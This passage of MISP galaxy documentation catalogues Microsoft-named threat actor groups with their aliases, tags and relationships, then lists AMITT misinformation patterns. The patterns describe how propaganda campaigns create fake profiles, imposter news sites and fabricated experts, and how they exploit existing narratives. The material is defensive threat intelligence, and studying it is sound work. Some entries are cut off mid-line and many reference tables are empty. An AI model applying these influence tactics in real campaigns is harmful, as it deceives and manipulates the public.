known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: misp-galaxy:microsoft-activity-group="PARINACOTA"

View relationships graph

PARINACOTA has relationships with:

- uses: misp-galaxy:ransomware="Wadhrama" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PARINACOTA" with estimative-language:likelihood-probability="almost-certain"

Table 4611. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/">https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/</a></td>
</tr>
</tbody>
</table>
GADOLINIUM

GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods. Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost.

The tag is: misp-galaxy:microsoft-activity-group="GADOLINIUM"

View relationships graph

GADOLINIUM has relationships with:

• similar: misp-galaxy:threat-actor="APT40" with estimative-language:likelihood-probability="likely"

Table 4612. Table References

Links


HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they've gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA. In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

The tag is: misp-galaxy:microsoft-activity-group="HAFNIUM"

View relationships graph

HAFNIUM has relationships with:

• similar: misp-galaxy:threat-actor="HAFNIUM" with estimative-language:likelihood-
**NOBELIUM**

Threat actor behind the attacks against SolarWinds, the SUNBURST backdoor, TEARDROP malware, GoldMax malware.

The tag is: `misp-galaxy:microsoft-activity-group="NOBELIUM"`

View relationships graph

NOBELIUM has relationships with:

- similar: `misp-galaxy:threat-actor="UNC2452"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:backdoor="SUNBURST"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:tool="TEARDROP"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:tool="GoldMax"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:tool="SNOWYAMBER"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:tool="HALFRIG"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:tool="QUARTERRIG"` with `estimative-language:likelihood-probability="likely"`

**Aqua Blizzard**

The tag is: `misp-galaxy:microsoft-activity-group="Aqua Blizzard"`

Aqua Blizzard is also known as:

- ACTINIUM
- UNC530
- Primitive Bear
- Gamaredon
Aqua Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"

Table 4615. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Brass Typhoon**

The tag is: misp-galaxy:microsoft-activity-group="Brass Typhoon"

Brass Typhoon is also known as:

- BARIUM
- APT41

Brass Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="likely"

Table 4616. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Cadet Blizzard**

The tag is: misp-galaxy:microsoft-activity-group="Cadet Blizzard"

Cadet Blizzard is also known as:

- DEV-0586

Cadet Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="DEV-0586" with estimative-language:likelihood-probability="likely"
Camouflage Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Camouflage Tempest"*

Camouflage Tempest is also known as:

- TAAL
- FIN6
- Skeleton Spider

View relationships graph

Camouflage Tempest has relationships with:

- similar: *misp-galaxy:threat-actor="FIN6"* with estimative-language:likelihood-probability="likely"

Canvas Cyclone

The tag is: *misp-galaxy:microsoft-activity-group="Canvas Cyclone"*

Canvas Cyclone is also known as:

- BISMUTH
- APT32
- OceanLotus

View relationships graph

Canvas Cyclone has relationships with:

- similar: *misp-galaxy:threat-actor="APT32"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:360net-threat-actor="海莲花 - APT-C-00"* with estimative-language:likelihood-probability="likely"
Caramel Tsunami

The tag is: \textit{misp-galaxy:microsoft-activity-group="Caramel Tsunami"}

Caramel Tsunami is also known as:

- SOURGUM
- Candiru

Carmine Tsunami

The tag is: \textit{misp-galaxy:microsoft-activity-group="Carmine Tsunami"}

Carmine Tsunami is also known as:

- DEV-0196
- QuaDream

Charcoal Typhoon

The tag is: \textit{misp-galaxy:microsoft-activity-group="Charcoal Typhoon"}

Charcoal Typhoon is also known as:

- CHROMIUM
- ControlX

View relationships graph

Charcoal Typhoon has relationships with:
• similar: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

### Table 4622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Cinnamon Tempest**

The tag is: *misp-galaxy:microsoft-activity-group="Cinnamon Tempest"*

Cinnamon Tempest is also known as:

- DEV-0401
- Emperor Dragonfly
- Bronze Starlight

**View relationships graph**

Cinnamon Tempest has relationships with:

- similar: misp-galaxy:threat-actor="BRONZE STARLIGHT" with estimative-language:likelihood-probability="likely"

### Table 4623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Circle Typhoon**

The tag is: *misp-galaxy:microsoft-activity-group="Circle Typhoon"*

Circle Typhoon is also known as:

- DEV-0322

### Table 4624. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Cotton Sandstorm

The tag is: `misp-galaxy:microsoft-activity-group="Cotton Sandstorm"`

Cotton Sandstorm is also known as:

- NEPTUNIUM
- Vice Leaker
- DEV-0198

Table 4625. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Crimson Sandstorm

The tag is: `misp-galaxy:microsoft-activity-group="Crimson Sandstorm"`

Crimson Sandstorm is also known as:

- CURIUM
- TA456
- Tortoise Shell

Table 4626. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cuboid Sandstorm

The tag is: `misp-galaxy:microsoft-activity-group="Cuboid Sandstorm"`

Cuboid Sandstorm is also known as:

- DEV-0228

Table 4627. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Denim Tsunami

The tag is: `misp-galaxy:microsoft-activity-group="Denim Tsunami"`

Denim Tsunami is also known as:

- KNOTWEED
- DSIRF

Diamond Sleet

The tag is: `misp-galaxy:microsoft-activity-group="Diamond Sleet"`

Diamond Sleet is also known as:

- ZINC
- Labyrinth Chollima
- Lazarus

Emerald Sleet

The tag is: `misp-galaxy:microsoft-activity-group="Emerald Sleet"`

Emerald Sleet is also known as:

- THALLIUM
- Kimsuky
- Velvet Chollima
Emerald Sleet has relationships with:

- similar: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"`

**Table 4630. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

---

**Forest Blizzard**

The tag is: `misp-galaxy:microsoft-activity-group="Forest Blizzard"`

Forest Blizzard is also known as:

- STRONTIUM
- APT28
- Fancy Bear

**View relationships graph**

Forest Blizzard has relationships with:

- similar: `misp-galaxy:threat-actor="APT28"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:360net-threat-actor="奇幻熊 - APT-C-20"` with `estimative-language:likelihood-probability="likely"`

**Table 4631. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

---

**Ghost Blizzard**

The tag is: `misp-galaxy:microsoft-activity-group="Ghost Blizzard"`

Ghost Blizzard is also known as:

- BROMINE
- Energetic Bear
- Crouching Yeti
Ghost Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="ENERGETIC BEAR" with estimative-language:likelihood-probability="likely"

Table 4632. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Gingham Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Gingham Typhoon"*

Gingham Typhoon is also known as:

- GADOLINIUM
- APT40
- Leviathan
- TEMP.Periscope
- Kryptonite Panda

View relationships graph

Gingham Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT40" with estimative-language:likelihood-probability="likely"

Table 4633. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Granite Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Granite Typhoon"*

Granite Typhoon is also known as:

- GALLIUM

View relationships graph

Granite Typhoon has relationships with:
• similar: 
misp-galaxy:threat-actor="GALLIUM" 
with 
estimative-language:likelihood-probability="likely"

Table 4634. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Gray Sandstorm**

The tag is: 
misp-galaxy:microsoft-activity-group="Gray Sandstorm"

Gray Sandstorm is also known as:

• DEV-0343

Table 4635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Hazel Sandstorm**

The tag is: 
misp-galaxy:microsoft-activity-group="Hazel Sandstorm"

Hazel Sandstorm is also known as:

• EUROPIUM
• Cobalt Gypsy
• APT34
• OilRig

View relationships graph

Hazel Sandstorm has relationships with:

• similar: 
misp-galaxy:threat-actor="OilRig" 
with 
estimative-language:likelihood-probability="likely"
• similar: 
misp-galaxy:threat-actor="Cleaver" 
with 
estimative-language:likelihood-probability="likely"
• similar: 
misp-galaxy:threat-actor="CHRYSENE" 
with 
estimative-language:likelihood-probability="likely"

Table 4636. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Lace Tempest

The tag is: misp-galaxy:microsoft-activity-group="Lace Tempest"

Lace Tempest is also known as:

- DEV-0950
- FIN11
- TA505

View relationships graph

Lace Tempest has relationships with:

- similar: misp-galaxy:threat-actor="TA505" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="FIN11" with estimative-language:likelihood-probability="likely"

Lemon Sandstorm

The tag is: misp-galaxy:microsoft-activity-group="Lemon Sandstorm"

Lemon Sandstorm is also known as:

- RUBIDIUM
- Fox Kitten
- UNC757
- PioneerKitten

View relationships graph

Lemon Sandstorm has relationships with:

- similar: misp-galaxy:threat-actor="Fox Kitten" with estimative-language:likelihood-probability="likely"
**Lilac Typhoon**

The tag is: `misp-galaxy:microsoft-activity-group="Lilac Typhoon"`

Lilac Typhoon is also known as:

- DEV-0234

**Manatee Tempest**

The tag is: `misp-galaxy:microsoft-activity-group="Manatee Tempest"`

Manatee Tempest is also known as:

- DEV-0243
- EvilCorp
- UNC2165
- Indrik Spider

View relationships graph

Manatee Tempest has relationships with:

- similar: `misp-galaxy:threat-actor="INDRIK SPIDER"` with `estimative-language:likelihood-probability="likely"`

**Mango Sandstorm**

The tag is: `misp-galaxy:microsoft-activity-group="Mango Sandstorm"`

Mango Sandstorm is also known as:
• MERCURY
• MuddyWater
• SeedWorm
• Static Kitten
• TEMP.Zagros

View relationships graph

Mango Sandstorm has relationships with:

• similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"

Table 4641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Marbled Dust**

The tag is: misp-galaxy:microsoft-activity-group="Marbled Dust"

Marbled Dust is also known as:

• SILICON
• Sea Turtle

View relationships graph

Marbled Dust has relationships with:

• similar: misp-galaxy:threat-actor="Sea Turtle" with estimative-language:likelihood-probability="likely"

Table 4642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Marigold Sandstorm**

The tag is: misp-galaxy:microsoft-activity-group="Marigold Sandstorm"

Marigold Sandstorm is also known as:

• DEV-0500
• Moses Staff

View relationships graph

Marigold Sandstorm has relationships with:

• similar: misp-galaxy:threat-actor="MosesStaff" with estimative-language:likelihood-probability="likely"

Table 4643. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Midnight Blizzard**

The tag is: misp-galaxy:microsoft-activity-group="Midnight Blizzard"

Midnight Blizzard is also known as:

• NOBELIUM
• APT29
• Cozy Bear

View relationships graph

Midnight Blizzard has relationships with:

• similar: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"

Table 4644. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Mint Sandstorm**

The tag is: misp-galaxy:microsoft-activity-group="Mint Sandstorm"

Mint Sandstorm is also known as:

• PHOSPHORUS
• APT35
• Charming Kitten

View relationships graph

Mint Sandstorm has relationships with:

• similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="APT35" with estimative-language:likelihood-probability="likely"

Table 4645. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Mulberry Typhoon**

The tag is: misp-galaxy:microsoft-activity-group="Mulberry Typhoon"

Mulberry Typhoon is also known as:

• MANGANESE
• APT5
• Keyhole Panda
• TABCTENG

View relationships graph

Mulberry Typhoon has relationships with:

• similar: misp-galaxy:threat-actor="APT5" with estimative-language:likelihood-probability="likely"

Table 4646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Mustard Tempest**

The tag is: misp-galaxy:microsoft-activity-group="Mustard Tempest"

Mustard Tempest is also known as:

• DEV-0206
Night Tsunami

The tag is: misp-galaxy:microsoft-activity-group="Night Tsunami"

Night Tsunami is also known as:
  - DEV-0336
  - NSO Group

Nylon Typhoon

The tag is: misp-galaxy:microsoft-activity-group="Nylon Typhoon"

Nylon Typhoon is also known as:
  - NICKEL
  - ke3chang
  - APT15
  - Vixen Panda

View relationships graph

Nylon Typhoon has relationships with:
  - similar: misp-galaxy:threat-actor="APT15" with estimative-language:likelihood-probability="likely"
Opal Sleet

The tag is: `misp-galaxy:microsoft-activity-group="Opal Sleet"`

Opal Sleet is also known as:

- OSMIUM
- Konni

Table 4650. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Peach Sandstorm

The tag is: `misp-galaxy:microsoft-activity-group="Peach Sandstorm"`

Peach Sandstorm is also known as:

- HOLMIUM
- APT33
- Refined Kitten

View relationships graph

Peach Sandstorm has relationships with:

- similar: `misp-galaxy:threat-actor="APT33"` with estimative-language:likelihood-probability="likely"

Table 4651. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Pearl Sleet

The tag is: `misp-galaxy:microsoft-activity-group="Pearl Sleet"`

Pearl Sleet is also known as:

- LAWRENCIUM
- DEV-0215

Table 4652. Table References
Periwinkle Tempest

The tag is: `misp-galaxy:microsoft-activity-group="Periwinkle Tempest"`

Periwinkle Tempest is also known as:

- DEV-0193
- Wizard Spider
- UNC2053

View relationships graph

Periwinkle Tempest has relationships with:

- similar: `misp-galaxy:threat-actor="WIZARD SPIDER"` with `estimative-language:likelihood-probability="likely"`

Table 4653. Table References

Phlox Tempest

The tag is: `misp-galaxy:microsoft-activity-group="Phlox Tempest"`

Phlox Tempest is also known as:

- DEV-0796
- ClickPirate
- Chrome Loader
- Choziosi loader

Table 4654. Table References
Pink Sandstorm

The tag is: `misp-galaxy:microsoft-activity-group="Pink Sandstorm"

Pink Sandstorm is also known as:

- AMERICIUM
- Agrius
- Deadwood
- BlackShadow
- SharpBoys
- DEV-0227

Table 4655. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Pistachio Tempest

The tag is: `misp-galaxy:microsoft-activity-group="Pistachio Tempest"

Pistachio Tempest is also known as:

- DEV-0237
- FIN12

View relationships graph

Pistachio Tempest has relationships with:

- similar: `misp-galaxy:threat-actor="WIZARD SPIDER"` with estimative-language:likelihood-probability="likely"

Table 4656. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Plaid Rain

The tag is: `misp-galaxy:microsoft-activity-group="Plaid Rain"

Plaid Rain is also known as:
• POLONIUM

View relationships graph

Plaid Rain has relationships with:

• similar: misp-galaxy:threat-actor="POLONIUM" with estimative-language:likelihood-probability="likely"

Table 4657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Pumpkin Sandstorm

The tag is: misp-galaxy:microsoft-activity-group="Pumpkin Sandstorm"

Pumpkin Sandstorm is also known as:

• DEV-0146
• ZeroCleare

Table 4658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Raspberry Typhoon

The tag is: misp-galaxy:microsoft-activity-group="Raspberry Typhoon"

Raspberry Typhoon is also known as:

• RADIUM
• APT30
• LotusBlossom

View relationships graph

Raspberry Typhoon has relationships with:

• similar: misp-galaxy:threat-actor="APT30" with estimative-language:likelihood-probability="likely"

Table 4659. Table References
Ruby Sleet

The tag is: `misp-galaxy:microsoft-activity-group="Ruby Sleet"`

Ruby Sleet is also known as:

- CERIUM

Sangria Tempest

The tag is: `misp-galaxy:microsoft-activity-group="Sangria Tempest"`

Sangria Tempest is also known as:

- ELBRUS
- Carbon Spider
- FIN7

View relationships graph

Sangria Tempest has relationships with:

- similar: `misp-galaxy:threat-actor="FIN7"` with `estimative-language:likelihood-probability="likely"`
• Genie Spider
• BlueNoroff

View relationships graph

Sapphire Sleet has relationships with:

• similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 4662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Seashell Blizzard

The tag is: misp-galaxy:microsoft-activity-group="Seashell Blizzard"

Seashell Blizzard is also known as:

• IRIDIUM
• Sandworm

View relationships graph

Seashell Blizzard has relationships with:

• similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="IRIDIUM" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:360net-threat-actor="沙虫 - APT-C-13" with estimative-language:likelihood-probability="likely"

Table 4663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Secret Blizzard

The tag is: misp-galaxy:microsoft-activity-group="Secret Blizzard"

Secret Blizzard is also known as:
• KRYPTON
• Venomous Bear
• Turla
• Snake

View relationships graph

Secret Blizzard has relationships with:

• similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"

Table 4664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Silk Typhoon

The tag is: misp-galaxy:microsoft-activity-group="Silk Typhoon"

Silk Typhoon is also known as:

• HAFNIUM

View relationships graph

Silk Typhoon has relationships with:

• similar: misp-galaxy:threat-actor="HAFNIUM" with estimative-language:likelihood-probability="likely"

Table 4665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Smoke Sandstorm

The tag is: misp-galaxy:microsoft-activity-group="Smoke Sandstorm"

Smoke Sandstorm is also known as:

• BOHRIUM

Table 4666. Table References
Spandex Tempest

The tag is: misp-galaxy:microsoft-activity-group="Spandex Tempest"

Spandex Tempest is also known as:

- CHIMBORAZO
- TA505

View relationships graph

Spandex Tempest has relationships with:

- similar: misp-galaxy:threat-actor="TA505" with estimative-language:likelihood-probability="likely"

Star Blizzard

The tag is: misp-galaxy:microsoft-activity-group="Star Blizzard"

Star Blizzard is also known as:

- SEABORGIUM
- Callisto
- Reuse Team

View relationships graph

Star Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="Callisto" with estimative-language:likelihood-probability="likely"
**Storm-0257**

The tag is: `misp-galaxy:microsoft-activity-group="Storm-0257"`

Storm-0257 is also known as:

- DEV-0257
- UNC1151

View relationships graph

Storm-0257 has relationships with:

- similar: `misp-galaxy:threat-actor="Ghostwriter"` with `estimative-language:likelihood-probability="likely"`

Table 4669. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Storm-0530**

The tag is: `misp-galaxy:microsoft-activity-group="Storm-0530"`

Storm-0530 is also known as:

- DEV-0530
- H0lyGh0st

Table 4670. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Strawberry Tempest**

The tag is: `misp-galaxy:microsoft-activity-group="Strawberry Tempest"`

Strawberry Tempest is also known as:

- DEV-0537
- LAPSUS$

View relationships graph

Strawberry Tempest has relationships with:
• similar: misp-galaxy:threat-actor="LAPSUS" with estimative-language:likelihood-probability="likely"

**Table 4671. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Sunglow Blizzard**

The tag is: `misp-galaxy:microsoft-activity-group="Sunglow Blizzard"`

Sunglow Blizzard is also known as:

• DEV-0665

**Table 4672. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Tomato Tempest**

The tag is: `misp-galaxy:microsoft-activity-group="Tomato Tempest"`

Tomato Tempest is also known as:

• SPURR
• Vatet

**Table 4673. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Vanilla Tempest**

The tag is: `misp-galaxy:microsoft-activity-group="Vanilla Tempest"`

Vanilla Tempest is also known as:

• DEV-0832

**Table 4674. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Velvet Tempest

The tag is: misp-galaxy:microsoft-activity-group="Velvet Tempest"

Velvet Tempest is also known as:

- DEV-0504

Table 4675. Table References

Links


Violet Typhoon

The tag is: misp-galaxy:microsoft-activity-group="Violet Typhoon"

Violet Typhoon is also known as:

- ZIRCONIUM
- APT31

View relationships graph

Violet Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT31" with estimative-language:likelihood-probability="likely"

Table 4676. Table References

Links


Wine Tempest

The tag is: misp-galaxy:microsoft-activity-group="Wine Tempest"

Wine Tempest is also known as:

- PARINACOTA
- Wadhrama
Wine Tempest has relationships with:

- similar: misp-galaxy:threat-actor="PARINACOTA" with estimative-language:likelihood-probability="likely"

Table 4677. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Wisteria Tsunami**

The tag is: misp-galaxy:microsoft-activity-group="Wisteria Tsunami"

Wisteria Tsunami is also known as:

- DEV-0605
- CyberRoot

Table 4678. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Zigzag Hail**

The tag is: misp-galaxy:microsoft-activity-group="Zigzag Hail"

Zigzag Hail is also known as:

- DUBNIUM
- Dark Hotel
- Tapaoux

View relationships graph

Zigzag Hail has relationships with:

- similar: misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-probability="likely"

Table 4679. Table References
Misinformation Pattern

AM!TT Technique.

Misinformation Pattern is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
misinfosecproject

5Ds (dismiss, distort, distract, dismay, divide)

Nimmo’s "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

The tag is: misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"

Facilitate State Propaganda

Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China’s Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).

The tag is: misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target
audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consistent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplification practices. Examples include midwesterners are generous, Russia is under attack from outside.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"*

**Competing Narratives**

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that “absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community” (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Competing Narratives"*

**Center of Gravity Analysis**

Recon/research to identify "the source of power that provides moral or physical strength, freedom of action, or will to act." Thus, the center of gravity is usually seen as the "source of strength". Includes demographic and network analysis of communities

The tag is: *misp-galaxy:amitt-misinformation-pattern="Center of Gravity Analysis"*

---

Table 4682. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 4683. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0004.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0004.md</a></td>
</tr>
</tbody>
</table>

Table 4684. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Create Master Narratives

The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a “whole of society” perspective the promotion of the society’s core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perspective the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion constitutes an ongoing tactical struggle carried out at a whole-of-society level.

By way of example, major powers are promoting master narratives such as: * "Huawei is determined to build trustworthy networks" * "Russia is the victim of bullying by NATO powers" * "USA is guided by its founding principles of liberty and egalitarianism"

Tactically, their promotion covers a broad spectrum of activities both on- and offline.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"`

Create fake Social Media Profiles / Pages / Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.

Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

Examples: Ukraine elections (2019) circumvent Facebook’s new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"`
Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their ownershiop, reporting history and advertising details. A prominent case from the 2016 era was the *Denver Guardian*, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"*

Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”—pushed the story heavily on LinkedIn.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake experts"*

Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as “useful idiots” or “unwitting agents”.

Table 4687. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
